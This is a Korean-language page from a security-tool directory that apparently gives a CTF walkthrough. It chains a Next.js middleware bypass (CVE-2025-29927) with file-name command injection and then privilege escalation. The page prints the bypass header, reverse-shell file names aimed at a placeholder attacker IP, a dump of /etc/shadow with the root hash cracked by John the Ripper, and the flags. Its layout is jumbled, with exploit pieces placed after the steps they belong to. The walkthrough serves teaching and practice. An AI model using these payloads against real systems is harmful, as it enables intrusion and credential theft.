Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-29927-Proof-of-Concept — CTF 도전 과제: CVE-2025-29927과 명령어 삽입 취약점의 조합 | Kitploit
도구/GitHubGitHub/si-ni/cve-2025-29927-proof-of-concept
Password CrackingPrivilege EscalationVulnerability AnalysisWeb Application ExploitationCTFCommand and ControlLearning & Education
GitHubsi-ni/cve-2025-29927-proof-of-concept

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-29927-Proof-of-Concept

CTF 도전 과제: CVE-2025-29927과 명령어 삽입 취약점의 조합

저장소 보기
6개월 전아직 검토되지 않음

워크스루

1단계 (5분)

힌트 대상이 노출하는 네트워크 서비스는 무엇인가요?

— — —

해결 방법
root@kitploit:~

    kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

2단계 (5분)

힌트 1 랜딩 페이지에는 로그인 페이지만 표시되지만, 웹 서버는 종종 추가 경로를 노출합니다.
힌트 2 Gobuster나 DirBuster와 같은 디렉터리 무차별 대입 도구를 사용해 보세요.

— — —

해결 방법
root@kitploit:~

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  
root@kitploit:~

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

3단계 (20분)

힌트 1 /dashboard 페이지가 /login으로 리디렉션됩니다. 로그인 페이지에서 리디렉션을 우회할 수 있는 정보를 찾을 수 있나요?
image
힌트 2 Next.js 버전 15.2.2에 대한 무언가를 찾을 수 있나요?
힌트 3 CVE-2025-29927을 살펴보세요. Burp Suite의 프록시를 사용하여 요청을 가로채고 전달하기 전에 요청 헤더를 조작하세요.

— — —

해결 방법

배경

많은 웹 애플리케이션은 미들웨어를 사용하여 민감한 경로(예: /dashboard)를 보호합니다. 미들웨어는 요청을 확인하고, 세션 쿠키를 검증하며, 사용자 권한을 확인합니다. 검사에 실패하면 미들웨어는 일반적으로 사용자를 /login으로 리디렉션합니다.

취약점 메커니즘

CVE-2025-29927은 Next.js 미들웨어 처리의 설계 결함입니다. 이는 x-middleware-subrequest 헤더를 악용하여 공격자가 미들웨어 보호를 완전히 우회할 수 있게 합니다. Next.js는 이 헤더를 내부적으로 사용하여 무한 미들웨어 루프를 방지합니다. 요청이 처리될 때 runMiddleware 함수는 요청 헤더를 확인합니다:
  • x-middleware-subrequest가 있는 경우
  • 값에 미들웨어 이름이 포함된 경우
  • 그러면 Next.js는 미들웨어 실행을 건너뛰고 요청을 직접 전달합니다.
이는 내부 최적화를 위한 것이지만, 외부 사용자도 이 헤더를 설정할 수 있다는 것이 결함입니다.

취약한 코드

root@kitploit:~

    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  

버전 13.2.0 이상의 경우

Next.js는 미들웨어 실행에 최대 재귀 깊이를 도입했습니다. 이는 무한 루프를 방지하기 위해 구현되었지만 취약점에는 영향을 미치지 않습니다. 이 헤더를 사용함으로써 미들웨어에게 "이것은 이미 미들웨어가 생성한 요청이므로 미들웨어를 다시 실행하지 마십시오"라고 알립니다. 이제 Next.js는 미들웨어가 실행되기 전에 들어오는 모든 외부 요청에서 헤더를 제거합니다. 이 헤더는 합법적인 미들웨어 체이닝 중에 Next.js 런타임 내부에서 생성된 경우에만 신뢰됩니다. 구체적으로, x-middleware-subrequest 값은 이제 무작위로 생성된 16진수 문자열과 비교하여 검증되므로 합법적인 내부 세션 요청만 인증 검사를 통과할 수 있습니다. 따라서 공격자가 헤더를 보내더라도 Next.js는 올바른 무작위 생성 토큰을 가진 실제 내부 하위 요청과 외부 공격자의 위조된 요청을 구분할 수 있습니다.

4단계 (15분)

힌트 1 파일 업로드도 미들웨어로 보호되므로, 모든 요청에 3단계의 헤더를 보내야 합니다.
힌트 2 사용자 입력은 항상 높은 위험을 수반합니다. 여기서 파일 콘텐츠 외에 사용자 입력으로 간주되는 것은 무엇인가요? 또한 페이지에서 이미지가 어떻게 처리되는지 알려주는 정보를 찾을 수 있나요?
힌트 3 악성 파일 이름을 시도해 보세요. https://www.revshells.com/

— — —

해결 방법

설명

root@kitploit:~

    const filename = file.name; // VULNERABLE: No sanitization!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => { exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => { ...
원본 파일 이름은 사용자가 제어할 수 있으며 악성 문자를 포함할 수 있습니다. 개발자는 일부 위험한 문자를 제거합니다(화이트리스트 대신 블랙리스트 사용). convert 명령은 exec()를 사용하여 실행되며, 원본 파일 이름(사용자 입력)이 셸 명령에 직접 삽입됩니다. 한 가지 수정 방법은 사용자 파일 이름 대신 무작위로 생성된 파일 이름을 사용하고 셸을 사용하지 않는 안전한 API를 사용하는 것입니다.

익스플로잇

root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  
악성 파일 이름:
root@kitploit:~
플래그는 에 있습니다:

보너스 (5분)

힌트 1 webuser는 어떤 sudo 권한을 가지고 있나요?
힌트 2 John the Ripper나 Hashcat과 같은 도구가 도움이 될 수 있습니다. gzip -d /usr/share/wordlists/rockyou.txt.gz 명령으로 rockyou.txt.gz 파일의 압축을 푸세요.

— — —

해결 방법
root@kitploit:~

    target@target:~$ sudo -l
    Matching Defaults entries for webuser on photoresizer:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User webuser may run the following commands on photoresizer:
      (ALL) NOPASSWD: /usr/bin/cat /etc/shadow
  
root@kitploit:~

    target@target:~$ sudo cat /etc/shadow
    root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
  
root@kitploit:~

    kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
    kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    rockyou          (root)     
    1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
  
root@kitploit:~

    target@target:~$ su - root
  
플래그는 /root에 있습니다:
root@kitploit:~

    FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
  
도구 다운로드
root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

image
image

수정

x-middleware-subrequest
image.jpeg; nc -c sh <ATTACKER_IP> 4000 # image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
image
root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  
/home/webuser
root@kitploit:~

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}